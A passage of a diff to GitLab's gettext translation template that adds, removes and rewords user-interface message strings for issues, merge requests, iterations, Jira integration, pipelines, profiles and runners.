+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
